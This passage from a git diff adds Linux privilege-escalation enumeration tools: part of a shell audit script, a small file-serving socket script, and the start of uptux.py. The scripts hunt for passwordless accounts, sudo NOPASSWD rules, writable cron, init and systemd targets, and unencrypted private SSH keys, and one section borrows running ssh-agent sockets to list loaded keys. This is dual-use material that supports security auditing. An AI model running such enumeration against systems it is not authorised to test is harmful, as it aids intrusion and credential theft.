USER=`echo "$LINE" | awk '{print $1}'` + STATUS=`echo "$LINE" | awk '{print $2}'` + if [ "$STATUS" = "NP" ]; then + echo "WARNING: User $USER doesn't have a password" + fi + done + elif [ "$OS" = "solaris" ]; then + passwd -s -a | while read LINE + do + USER=`echo "$LINE" | awk '{print $1}'` + STATUS=`echo "$LINE" | awk '{print $2}'` + if [ "$STATUS" = "NP" ]; then + echo "WARNING: User $USER doesn't have a password" + fi + done + fi +else + echo "File $SHADOW isn't readable. Skipping some checks." +fi + +section "Checking library directories from /etc/ld.so.conf" +if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then + for DIR in `grep '^/' /etc/ld.so.conf`; do + check_perms "$DIR is in /etc/ld.so.conf." $DIR root + done + + #FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'` + #if [ ! -z "$FILES" ]; then + # for DIR in `echo $FILES | xargs cat | sort -u`; do + # done + #fi +else + echo "File /etc/ld.so.conf not present. Skipping checks." +fi + +# Check sudoers if we have permission - needs root normally +section "Checking sudo configuration" +if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then + echo ----------------- + echo "Checking if sudo is configured" + SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =` + if [ ! -z "$SUDO_USERS" ]; then + echo "WARNING: Sudo is configured. Manually check nothing unsafe is allowed:" + grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default' + fi + + echo ----------------- + echo "Checking sudo users need a password" + SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD` + if [ ! -z "$SUDO_NOPASSWD" ]; then + echo "WARNING: Some users can use sudo without a password:" + grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD + fi +else + echo "File /etc/sudoers not present. Skipping checks." +fi + +section "Checking permissions on swap file(s)" +for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do + check_perms "$SWAP is used for swap space." $SWAP root + check_read_perms "$SWAP is used for swap space." $SWAP root +done + +section "Checking programs run from inittab" +if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then + for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do + check_called_programs "$FILE is run from /etc/inittab as root." $FILE root + done +else + echo "File /etc/inittab not present. Skipping checks." +fi + +section "Checking postgres trust relationships" +for DIR in $PGDIRS; do + if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then + grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE + do + AUTH=`echo "$LINE" | awk '{print $NF}'` + if [ "$AUTH" = "trust" ]; then + PGTRUST=1 + echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" + fi + done + fi +done + +PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` + +if [ -n "$PGVER1" ]; then + PGTRUST=1 + echo "WARNING: Can connect to local postgres database as \"postgres\" without a password" +fi + +PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` + +if [ -n "$PGVER2" ]; then + PGTRUST=1 + echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password" +fi + +if [ -z "$PGTRUST" ]; then + echo "No postgres trusts detected" +fi + +# Check device files for mounted file systems are secure +# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root +section "Checking permissions on device files for mounted partitions" +if [ "$OS" = "linux" ]; then + mount | while read LINE + do + DEVICE=`echo "$LINE" | awk '{print $1}'` + FS=`echo "$LINE" | awk '{print $5}'` + if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then + echo "Checking device $DEVICE" + check_perms "$DEVICE is a mounted file system." $DEVICE root + fi + done +elif [ "$OS" = "bsd" ]; then + mount | grep ufs | while read LINE + do + DEVICE=`echo "$LINE" | awk '{print $1}'` + echo "Checking device $DEVICE" + check_perms "$DEVICE is a mounted file system." $DEVICE root + done +elif [ "$OS" = "solaris" ]; then + mount | grep xattr | while read LINE + do + DEVICE=`echo "$LINE" | awk '{print $3}'` + if [ ! "$DEVICE" = "swap" ]; then + echo "Checking device $DEVICE" + check_perms "$DEVICE is a mounted file system." $DEVICE root + fi + done +elif [ "$OS" = "hpux" ]; then + mount | while read LINE + do + DEVICE=`echo "$LINE" | awk '{print $3}'` + C=`echo $DEVICE | cut -c 1` + if [ "$C" = "/" ]; then + echo "Checking device $DEVICE" + check_perms "$DEVICE is a mounted file system." $DEVICE root + fi + done + + NFS=`mount | grep NFS` + if [ -n "$NFS" ]; then + echo "WARNING: This system is an NFS client. Check for nosuid and nodev options." + mount | grep NFS + fi +fi + +# Check cron jobs if they're readable +# TODO check that cron is actually running +section "Checking cron job programs aren't writable (/etc/crontab)" +CRONDIRS="" +if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then + MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = ` + echo Crontab path is $MYPATH + + # Check if /etc/cron.(hourly|daily|weekly|monthly) are being used + CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons` + + # Process run-parts + grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE + do + echo "Processing crontab run-parts entry: $LINE" + USER=`echo "$LINE" | awk '{print $6}'` + DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'` + check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" + if [ -d "$DIR" ]; then + echo " Checking directory: $DIR" + for FILE in $DIR/*; do + FILENAME=`echo "$FILE" | sed 's/.*\///'` + if [ "$FILENAME" = "*" ]; then + echo " No files in this directory." + continue + fi + check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER" + done + fi + done + + # TODO bsd'd periodic: + # 1 3 * * * root periodic daily + # 15 4 * * 6 root periodic weekly + # 30 5 1 * * root periodic monthly + + grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE + do + echo "Processing crontab entry: $LINE" + USER=`echo "$LINE" | awk '{print $6}'` + PROG=`echo "$LINE" | awk '{print $7}'` + check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH + done +else + echo "File /etc/crontab not present. Skipping checks." +fi + +# Do this if run-crons is run from /etc/crontab +if [ -n "$CRONDIRS" ]; then + USER=`echo "$CRONDIRS" | awk '{print $6}'` + section "Checking /etc/cron.(hourly|daily|weekly|monthly)" + for DIR in hourly daily weekly monthly; do + if [ -d "/etc/cron.$DIR" ]; then + echo " Checking directory: /etc/cron.$DIR" + for FILE in /etc/cron.$DIR/*; do + FILENAME=`echo "$FILE" | sed 's/.*\///'` + if [ "$FILENAME" = "*" ]; then + echo "No files in this directory." + continue + fi + check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER + done + fi + done +fi + +section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)" +if [ -d "/var/spool/cron/crontabs" ]; then + for FILE in /var/spool/cron/crontabs/*; do + USER=`echo "$FILE" | sed 's/^.*\///'` + if [ "$USER" = "*" ]; then + echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." + continue + fi + echo "Processing crontab for $USER: $FILE" + if [ -r "$FILE" ]; then + MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` + if [ -n "$MYPATH" ]; then + echo Crontab path is $MYPATH + fi + grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE + do + echo "Processing crontab entry: $LINE" + PROG=`echo "$LINE" | awk '{print $6}'` + check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER + done + else + echo "ERROR: Can't read file $FILE" + fi + done +else + echo "Directory /var/spool/cron/crontabs is not present. Skipping checks." +fi + +section "Checking cron job programs aren't writable (/var/spool/cron/tabs)" +if [ -d "/var/spool/cron/tabs" ]; then + for FILE in /var/spool/cron/tabs/*; do + USER=`echo "$FILE" | sed 's/^.*\///'` + if [ "$USER" = "*" ]; then + echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." + continue + fi + echo "Processing crontab for $USER: $FILE" + if [ -r "$FILE" ]; then + MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` + if [ -n "$MYPATH" ]; then + echo Crontab path is $MYPATH + fi + grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE + do + echo "Processing crontab entry: $LINE" + PROG=`echo "$LINE" | awk '{print $6}'` + check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH + done + else + echo "ERROR: Can't read file $FILE" + fi + done +else + echo "Directory /var/spool/cron/tabs is not present. Skipping checks." +fi + +# Check programs run from /etc/inetd.conf have secure permissions +# TODO: check inetd is actually running +section "Checking inetd programs aren't writable" +if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then + grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE + do + USER=`echo $LINE | awk '{print $5}'` + PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... + PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog + if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then + # Not calling an external program + continue + fi + echo Processing inetd line: $LINE + if [ -f "$PROG" ]; then + check_called_programs "$PROG is run from inetd as $USER." $PROG $USER + fi + if [ -f "$PROG2" ]; then + check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER + fi + done +else + echo "File /etc/inetd.conf not present. Skipping checks." +fi + +# Check programs run from /etc/xinetd.d/* +# TODO: check xinetd is actually running +section "Checking xinetd programs aren't writeable" +if [ -d /etc/xinetd.d ]; then + for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do + echo Processing xinetd service file: $FILE + PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'` + USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'` + check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER + done +else + echo "Directory /etc/xinetd.d not present. Skipping checks." +fi + +# Check for writable home directories +section "Checking home directories aren't writable" +cat /etc/passwd | grep -v '^#' | while read LINE +do + echo Processing /etc/passwd line: $LINE + USER=`echo $LINE | cut -f 1 -d :` + DIR=`echo $LINE | cut -f 6 -d :` + SHELL=`echo $LINE | cut -f 7 -d :` + if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then + echo " Skipping user $USER. They don't have a shell." + else + if [ "$DIR" = "/dev/null" ]; then + echo " Skipping /dev/null home directory" + else + check_perms "$DIR is the home directory of $USER." $DIR $USER + fi + fi +done + +# Check for readable files in home directories +section "Checking for readable sensitive files in home directories" +cat /etc/passwd | while read LINE +do + USER=`echo $LINE | cut -f 1 -d :` + DIR=`echo $LINE | cut -f 6 -d :` + SHELL=`echo $LINE | cut -f 7 -d :` + for FILE in $HOME_DIR_FILES; do + if [ -f "$DIR/$FILE" ]; then + check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER + fi + done +done + +section "Checking SUID programs" +if [ "$MODE" = "detailed" ]; then + for FILE in `find / -type f -perm -04000 2>/dev/null`; do + check_called_programs_suid $FILE + done +else + echo "Skipping checks of SUID programs (it's slow!). Run again in 'detailed' mode." +fi + +# Check for private SSH keys in home directories +section "Checking for Private SSH Keys home directories" +for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do + if [ -d "$HOMEDIR/.ssh" ]; then + PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null` + if [ -n "$PRIV_KEYS" ]; then + for KEY in $PRIV_KEYS; do + ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null` + if [ -n "$ENC_KEY" ]; then + echo "WARNING: Encrypted Private SSH Key Found in $KEY" + else + echo "WARNING: Unencrypted Private SSH Key Found in $KEY" + fi + done + fi + fi +done + +# Check for public SSH keys in home directories +section "Checking for Public SSH Keys home directories" +for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do + if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then + KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null` + if [ -n "$KEYS" ]; then + echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys" + fi + fi +done + +# Check for any SSH agents running on the box +section "Checking for SSH agents" +AGENTS=`ps -ef | grep ssh-agent | grep -v grep` +if [ -n "$AGENTS" ]; then + echo "WARNING: There are SSH agents running on this system:" + ps -ef | grep ssh-agent | grep -v grep + # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do + for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do + SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK + AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` + if [ -n "$AGENT_KEYS" ]; then + echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]" + ssh-add -l + fi + done +else + echo "No SSH agents found" +fi + +# Check for any GPG agents running on the box +section "Checking for GPG agents" +AGENTS=`ps -ef | grep gpg-agent | grep -v grep` +if [ -n "$AGENTS" ]; then + echo "WARNING: There are GPG agents running on this system:" + ps aux | grep gpg-agent | grep -v grep +else + echo "No GPG agents found" +fi + +# Check files in /etc/init.d/* can't be modified by non-root users +section "Checking startup files (init.d / rc.d) aren't writable" +for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do + if [ -d "$DIR" ]; then + for FILE in $DIR/*; do + F=`echo "$FILE" | sed 's/^.*\///'` + if [ "$F" = "*" ]; then + echo "No user startup script found in $DIR. Skipping checks." + continue + fi + echo Processing startup script $FILE + check_called_programs "$FILE is run by root at startup." $FILE root + done + fi +done + +section "Checking if running programs are writable" +if [ $OS = "solaris" ]; then + # use the output of ps command + ps -ef -o user,comm | while read LINE + do + USER=`echo "$LINE" | awk '{print $1}'` + PROG=`echo "$LINE" | awk '{print $2}'` + check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" + done +elif [ $OS = "bsd" ]; then + # use the output of ps command + ps aux | while read LINE + do + USER=`echo "$LINE" | awk '{print $1}'` + PROG=`echo "$LINE" | awk '{print $11}'` + check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" + done +elif [ $OS = "hpux" ]; then + # use the output of ps command + ps -ef | while read LINE + do + USER=`echo "$LINE" | awk '{print $1}'` + PROG1=`echo "$LINE" | awk '{print $8}'` + PROG2=`echo "$LINE" | awk '{print $9}'` + if [ -f "$PROG1" ]; then + check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" + fi + if [ -f "$PROG2" ]; then + check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER" + fi + done +elif [ $OS = "linux" ]; then + # use the /proc file system + for PROCDIR in /proc/[0-9]*; do + unset PROGPATH + PID=`echo $PROCDIR | cut -f 3 -d /` + echo ------------------------ + echo "PID: $PID" + if [ -d "$PROCDIR" ]; then + if [ -r "$PROCDIR/exe" ]; then + PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` + else + if [ -r "$PROCDIR/cmdline" ]; then + P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'` + if [ -z "$P" ]; then + echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` + else + PROGPATH=$P + fi + else + echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` + continue + fi + fi + get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN + echo "Owner: $OWNER" + else + echo "ERROR: Can't find OWNER. Process has gone." + continue + fi + + if [ -n "$PROGPATH" ]; then + get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN + echo "Program path: $PROGPATH" + check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER + fi + + if [ "$MODE" == "detailed" ]; then + for FILE in $PROCDIR/fd/*; do + F=`echo "$FILE" | sed 's/^.*\///'` + if [ "$F" = "*" ]; then + continue + fi + check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER + done + fi + done +fi diff --git a/upload_file.py b/upload_file.py new file mode 100755 index 0000000..b5b96e8 --- /dev/null +++ b/upload_file.py @@ -0,0 +1,42 @@ +import socket +import sys +import netifaces as ni + +if len(sys.argv) < 2: + print("Usage: %s " % sys.argv[0]) + exit(1) + +# Create a TCP/IP socket +FILENAME = sys.argv[1] +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +interface = "tun0" +if not interface in ni.interfaces(): + interface = ni.interfaces()[0] + + +addresses = ni.ifaddresses(interface) +address = addresses[next(iter(addresses))][0]["addr"] + +# Bind the socket to the port +server_address = (address, 8888) +print('starting up on %s port %s' % server_address) +sock.bind(server_address) + +sock.listen(1) + +while True: + # Wait for a connection + print('waiting for a connection') + connection, client_address = sock.accept() + + try: + print('connection from', client_address) + + with open(FILENAME, "rb") as f: + content = f.read() + connection.sendall(content) + + finally: + # Clean up the connection + connection.close() diff --git a/uptux.py b/uptux.py new file mode 100644 index 0000000..1ffd841 --- /dev/null +++ b/uptux.py @@ -0,0 +1,804 @@ +#!/usr/bin/env python + +""" +uptux by initstring (gitlab.com/initstring) + +This tool checks for configuration issues on Linux systems that may lead to +privilege escalation. + +All functionality is contained in a single file, because installing packages +in restricted shells is a pain. +""" + + +import os +import sys +import socket +import getpass +import argparse +import datetime +import subprocess +import inspect +import glob +import re + + +BANNER = r''' + + + + ____ ___ ___________ + | | \_____\__ ___/_ _____ ___ + | | /\____ \| | | | \ \/ / + | | / | |_> > | | | /> < + |______/ | __/|____| |____//__/\_ \ + |__| \/ + + + + PrivEsc for modern Linux systems + github.com/initstring/uptux + + +''' + + +########################## Global Declarations Follow ######################### + +LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now()) +PARSER = argparse.ArgumentParser(description= + "PrivEsc for modern Linux systems," + " by initstring (gitlab.com/initstring)") +PARSER.add_argument('-n', '--nologging', action='store_true', + help='do not write output to a logfile') +PARSER.add_argument('-d', '--debug', action='store_true', + help='print some debugging info to the console') +ARGS = PARSER.parse_args() + +## Known directories for storing systemd files. +SYSTEMD_DIRS = ['/etc/systemd/**/', + '/lib/systemd/**/', + '/run/systemd/**/', + '/usr/lib/systemd/**/'] + +## Known directories for storing D-Bus configuration files +DBUS_DIRS = ['/etc/dbus-1/system.d/', + '/etc/dbus-1/session.d'] + +# Target files that we know we cannot exploit +NOT_VULN = ['/dev/null', + '.'] + +# Used to enable/disable the relative path checks of systemd +SYSTEMD_PATH_WRITABLE = False +########################## End of Global Declarations ######################### + + +############################ Setup Functions Follow ########################### + +# This is the place for functions that help set up the application. + +def tee(text, **kwargs): + """Used to log and print concurrently""" + + # Defining variables to print color-coded messages to the console. + colors = {'green': '\033[92m', + 'blue': '\033[94m', + 'orange': '\033[93m', + 'red': '\033[91m',} + end_color = '\033[0m' + boxes = {'ok': colors['blue'] + '[*] ' + end_color, + 'note': colors['green'] + '[+] ' + end_color, + 'warn': colors['orange'] + '[!] ' + end_color, + 'vuln': colors['red'] + '[VULNERABLE] ' + end_color, + 'sus': colors['orange'] + '[INVESTIGATE] ' + end_color} + + # If this function is called with an optional 'box=xxx' parameter, these + # will be prepended to the message. + box = kwargs.get('box', '') + if box: + box = boxes[box] + + # First, just print the item to the console. + print(box + text) + + # Then, write it to the log if logging is not disabled + if not ARGS.nologging: + try: + with open(LOGFILE, 'a') as logfile: + logfile.write(box + text + '\n') + except PermissionError: + ARGS.nologging = True + print(boxes['warn'] + "Could not create a log file due to" + " insufficient permissions. Continuing with checks...") + + +def check_handler(check, check_name, check_desc): + """Check handler + + This function takes a dictionary of check_desc,check_name and will + iterate through them all. + """ + tee("\n\n++++++++++ {}: {} ++++++++++\n\n" + .format(check_name, check_desc)) + tee("Starting module at {:%Y-%m-%d-%H.%M.%S}" + .format(datetime.datetime.now()), box='ok') + tee("\n") + check() + tee("\n") + tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n" + .format(datetime.datetime.now()), box='ok') + + +def get_function_order(function): + """Helper function for build_checks_list""" + # Grabs the line number of a function it is passed. + order = function.__code__.co_firstlineno + return order + + +def build_checks_list(): + """Dynamically build list of checks to execute + + This function will grab, in order, all functions that start with + 'uptux_check_' and populate a list. This is then used to run the checks. + """ + # Start to build a list of functions we will execute. + uptux_checks = [] + + # Get the name of this python script and all the functions inside it. + current_module = sys.modules[__name__] + all_functions = inspect.getmembers(current_module, inspect.isfunction) + + # If the function name matches 'uptux_check_' we will include it. + for function in all_functions: + function_name = function[0] + function_object = function[1] + if 'uptux_check_' in function_name: + uptux_checks.append(function_object) + + # Use the helper function to sort by line number in script. + uptux_checks.sort(key=get_function_order) + + # Return the sorted list of functions. + return uptux_checks + +############################# End Setup Functions ############################# + + +########################### Helper Functions Follow ########################### + +# This is the place to put functions that are used by multiple "Individual +# Checks" (those starting with uptux_check_). + +def shell_exec(command): + """Executes Linux shell commands""" + # Split the command into a list as needed by subprocess + command = command.split() + + # Get both stdout and stderror from command. Grab the Python exception + # if there is one. + try: + out_bytes = subprocess.check_output(command, + stderr=subprocess.STDOUT) + except subprocess.CalledProcessError as error: + out_bytes = error.output + except OSError as error: + print('Could not run the following OS command. Sorry!\n' + ' Command: {}'.format(command)) + print(error) + sys.exit() + + # Return the lot as a text string for processing. + out_text = out_bytes.decode('utf-8') + out_text = out_text.rstrip() + return out_text + + +def find_system_files(**kwargs): + """Locates system files + + Expected kwargs: known_dirs, search_mask + """ + + # Define known Linux folders for storing service unit definitions + return_list = set() + + # Recursively gather all service unit from the known directories + # and add them to a deduplicated set. + for directory in kwargs['known_dirs']: + found_files = glob.glob(directory + kwargs['search_mask']) + for item in found_files: + # We don't care about files that point to /dev/null. + if '/dev/null' not in os.path.realpath(item): + return_list.add(item) + + if ARGS.debug: + print("DEBUG, FOUND FILES") + for item in return_list: + print(item) + + return return_list + + +def regex_vuln_search(**kwargs): + """Helper function for searching text files + + This function will take a list of file paths and search through + them with a given regex. Relevant messages will be printed to the console + and log. + + Expected kwargs: file_paths, regex, message_text, message_box + """ + # Start a list of dictionaries for files with interesting content. + return_list = [] + + # Open up each individual file and read the text into memory. + for file_name in kwargs['file_paths']: + return_dict = {} + + # Continue if we can't access the file. + if not os.access(file_name, os.R_OK): + continue + + file_object = open(file_name, 'r') + file_text = file_object.read() + # Use the regex we pass in to the function to look for vulns. + found = re.findall(kwargs['regex'], file_text) + + # Save the file name and the interesting lines of text + if found: + return_dict['file_name'] = file_name + return_dict['text'] = found + return_list.append(return_dict) + + # If the function is supplied with message info, print to console and log. + # This function may be used instead as input to another function, so we + # don't always want to print here. + if return_list and kwargs['message_text'] and kwargs['message_box']: + # Print to console and log the interesting file names and content. + tee("") + tee(kwargs['message_text'], box=kwargs['message_box']) + for item in return_list: + tee(" {}:".format(item['file_name'])) + for text in item['text']: + tee(" {}".format(text)) + tee("") + + if ARGS.debug: + print("DEBUG, SEARCH RESULTS") + for item in return_list: + print(item['file_name']) + for text in item['text']: + print(" {}".format(text)) + + return return_list + + +def check_file_permissions(**kwargs): + """Helper function to check permissions and symlink status + + This function will take a list of file paths, resolve them to their + actual location (for symlinks), and determine if they are writeable + by the current user. Will also alert on broken symlinks and whether + the target directory for the broken link is writeable. + + Expected kwargs: file_paths, files_message_text, dirs_message_text, + message_box + """ + # Start deuplicated sets for interesting files and directories. + writeable_files = set() + writeable_dirs = set() + + for file_name in kwargs['file_paths']: + + # Ignore known not-vulnerable targets + if file_name in NOT_VULN: + continue + + # Is it a symlink? If so, get the real path and check permissions. + # If it is broken, check permissions on the parent directory. + if os.path.islink(file_name): + target = os.readlink(file_name) + + # Some symlinks use relative path names. Find these and prepend + # the directory name so we can investigate properly. + if target[0] == '.': + parent_dir = os.path.dirname(file_name) + target = parent_dir + '/' + target + + if os.path.exists(target) and os.access(target, os.W_OK): + writeable_files.add('{} -- symlink --> {}' + .format(file_name, target)) + else: + parent_dir = os.path.dirname(target) + if os.access(parent_dir, os.W_OK): + writeable_dirs.add((file_name, target)) + + # OK, not a symlink. Just check permissions. + else: + if os.access(file_name, os.W_OK): + writeable_files.add(file_name) + + if writeable_files: + # Print to console and log the interesting findings. + tee("") + tee(kwargs['files_message_text'], box=kwargs['message_box']) + for item in writeable_files: + tee(" {}".format(item)) + + if writeable_dirs: + # Print to console and log the interesting findings. + tee("") + tee(kwargs['dirs_message_text'], box=kwargs['message_box']) + for item in writeable_dirs: + tee(" {} --> {}".format(item[0], item[1])) + + if not writeable_files and not writeable_dirs: + tee("") + tee("No writeable targets. This is expected...", + box='note') + + +def check_command_permission(**kwargs): + """Checks permissions on commands returned from inside files + + Loops through a provided list of dictionaries with a file name and + commands found within. Checks to see if they are writeable or missing and + living in a writable directory. + + Expected kwargs: file_paths, regex, message_text, message_box + """ + # Start an empty list for the return of the writable files/commands + return_list = [] + + for item in kwargs['commands']: + return_dict = {} + return_dict['text'] = [] + + # The commands we have are long and may include parameters or even + # multiple commands with pipes and ;. We try to split this all out + # below. + for command in item['text']: + command = re.sub(r'[\'"]', '', command) + command = re.split(r'[ ;\|]', command) + + # We now have a list of some commands and some parameters and + # other garbage. Checking for os access will clean this up for us. + # The lines below determine if we have write access to anything. + # It also checks for the case where the target does not exist but + # the parent directory is writeable. + for split_command in command: + vuln = False + + # Ignore known not-vulnerable targets + if split_command in NOT_VULN: + continue + + # Some systemd items will specicify a command with a path + # relative to the calling item, particularly timer files. + relative_path = os.path.dirname(item['file_name']) + + # First, check the obvious - is this a writable command? + if os.access(split_command, os.W_OK): + vuln = True + + # What about if we assume it is a relative path? + elif os.access(relative_path + '/' + split_command, os.W_OK): + vuln = True + + # Or maybe it doesn't exist at all, but is in a writeable + # director? + elif (os.access(os.path.dirname(split_command), os.W_OK) + and not os.path.exists(split_command)): + vuln = True + + # If so, pack it all up in a new dictionary which is used + # below for output. + if vuln: + return_dict['file_name'] = item['file_name'] + return_dict['text'].append(split_command) + if return_dict not in return_list: + return_list.append(return_dict) + + if return_list and kwargs['message_text'] and kwargs['message_box']: + # Print to console and log the interesting file names and content. + tee("") + tee(kwargs['message_text'], box=kwargs['message_box']) + for item in return_list: + tee(" {}:".format(item['file_name'])) + for text in item['text']: + tee(" {}".format(text)) + tee("") + + +########################## Helper Functions Complete ########################## + + +########################### Individual Checks Follow ########################## + +# Note: naming a new function 'uptux_check_xxxx' will automatically +# include it in execution. These will trigger in the same order listed +# in the script. The docstring will be pulled and used in the console and +# log file, so keep it short (one line). + +def uptux_check_sysinfo(): + """Gather basic OS information""" + # Gather a few basics for the report. + uname = os.uname() + tee("Host: {}".format(uname[1])) + tee("OS: {}, {}".format(uname[0], uname[3])) + tee("Kernel: {}".format(uname[2])) + tee("Current user: {} (UID {} GID {})".format(getpass.getuser(), + os.getuid(), + os.getgid())) + tee("Member of following groups:\n {}".format(shell_exec('groups'))) + + +def uptux_check_systemd_paths(): + """Check if systemd PATH is writeable""" + # Define the bash command. + command = 'systemctl show-environment' + output = shell_exec(command) + + # Define the regex to find in the output. + regex = re.compile(r'PATH=(.*$)') + + # Take the output from bash and split it into a list of paths. + output = re.findall(regex, output) + + # This command may fail in some environments, only proceed if we have + # a good match. + if output: + output = output[0].split(':') + + # Check each path - if it is writable, add it to a list. + writeable_paths = [] + for item in output: + if os.access(item, os.W_OK): + writeable_paths.append(item) + else: + writeable_paths = False + + # Write the status to the console and log. + if writeable_paths: + tee("The following systemd paths are writeable. THIS IS ODD!\n" + "See if you can combine this with a relative path Exec statement" + " for privesc:", + box='vuln') + for path in writeable_paths: + tee(" {}".format(path)) + global SYSTEMD_PATH_WRITABLE + SYSTEMD_PATH_WRITABLE = True + else: + tee("No systemd paths are writeable. This is expected...", + box='note') + + +def uptux_check_services(): + """Inspect systemd service unit files""" + # Define known Linux folders for storing service unit definitions + units = set() + mask = '*.service' + units = find_system_files(known_dirs=SYSTEMD_DIRS, + search_mask=mask) + + tee("Found {} service units to analyse...\n".format(len(units)), + box='ok') + + # Test for write access to any service files. + # Will resolve symlinks to their target and also check for broken links. + text = 'Found writeable service unit files:' + text2 = 'Found writeable directories referred to by broken symlinks' + box = 'vuln' + tee("") + tee("Checking permissions on service unit files...", + box='ok') + check_file_permissions(file_paths=units, + files_message_text=text, + dirs_message_text=text2, + message_box=box) + + # Only check relative paths if we can abuse them + if SYSTEMD_PATH_WRITABLE: + # Look for relative calls to binaries. + # Example: ExecStart=somfolder/somebinary + regex = re.compile(r'^Exec(?:Start|Stop|Reload)=' + r'(?:@[^/]' # special exec + r'|-[^/]' # special exec + r'|\+[^/]' # special exec + r'|![^/]' # special exec + r'|!![^/]' # special exec + r'|)' # or maybe no special exec + r'[^/@\+!-]' # not abs path or special exec + r'.*', # rest of line + re.MULTILINE) + text = ('Possible relative path in an Exec statement.\n' + 'Unless you have writeable systemd paths, you won\'t be able to' + ' exploit this:') + box = 'sus' + tee("") + tee("Checking for relative paths in service unit files [check 1]...", + box='ok') + regex_vuln_search(file_paths=units, + regex=regex, + message_text=text, + message_box=box) + + # Look for relative calls to binaries but 